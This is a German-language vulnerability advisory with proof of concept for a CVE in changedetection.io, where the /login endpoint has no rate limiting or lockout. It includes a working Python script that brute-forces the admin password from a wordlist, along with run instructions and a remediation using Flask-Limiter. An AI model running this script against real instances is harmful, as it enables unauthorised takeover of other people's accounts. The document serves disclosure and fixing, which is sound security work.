
PoC: changedetection.io unbegrenztes Login-Brute-Force, kein Rate-Limiting (CVE-2026-71205, Mittel 6.5)
Produkt: dgtlmoon/changedetection.io — v0.55.7
Datei: changedetectionio/flask_app.py
CWE: CWE-307 — Unzureichende Beschränkung übermäßiger Authentifizierungsversuche
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — 6.5 (Mittel)
CNA: Turan Security · CVE-Eintrag
Der /login-Endpunkt von changedetection.io prüft das übermittelte Passwort gegen einen einzelnen PBKDF2-HMAC-SHA256-Hash, ohne Rate-Limiting pro IP oder pro Sitzung, ohne Zähler für fehlgeschlagene Versuche oder Sperre. In requirements.txt ist keine Rate-Limiting-Bibliothek vorhanden.
Ein Angreifer kann unbegrenzt Passwortversuche gegen das Login des einzigen Administrators ohne Drosselung durchführen, was Online-Brute-Force- oder Credential-Stuffing-Angriffe auf das eine Konto der Instanz ermöglicht, ohne weitere Kosten als Netzwerk-Roundtrips.
import requests
import itertools
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
wordlist = sys.argv[2] if len(sys.argv) > 2 else "passwords.txt"
session = requests.Session()
with open(wordlist) as f:
for line_no, password in enumerate(f, 1):
password = password.strip()
resp = session.post(
f"{target}/login",
data={"password": password},
allow_redirects=False,
timeout=10,
)
# No lockout, no rate-limit headers, no CAPTCHA at any attempt count.
status = "SUCCESS" if resp.status_code in (302, 303) else "fail"
print(f"[{line_no}] {password!r}: {status} (HTTP {resp.status_code})")
if status == "SUCCESS":
print(f"[+] Valid password found: {password}")
break
Führen Sie es mit einer beliebigen Passwort-Wortliste gegen eine Instanz aus — keine Anzahl von Versuchen löst zu irgendeinem Zeitpunkt des Laufs eine Sperre, ein CAPTCHA oder eine zunehmende Verzögerung aus.
Der Login-Handler führt einen direkten Hash-Vergleich durch, ohne einen Zustand, der Versuche nachverfolgt (pro IP, pro Sitzung oder global), und ohne dass eine Rate-Limiting-Middleware oder -Bibliothek installiert ist.
Fügen Sie eine Rate-Limiting-Bibliothek (z. B. Flask-Limiter) zum /login-Endpunkt hinzu, mit einem Zähler für fehlgeschlagene Versuche und exponentiellem Backoff oder temporärer Sperre pro Quell-IP/Sitzung.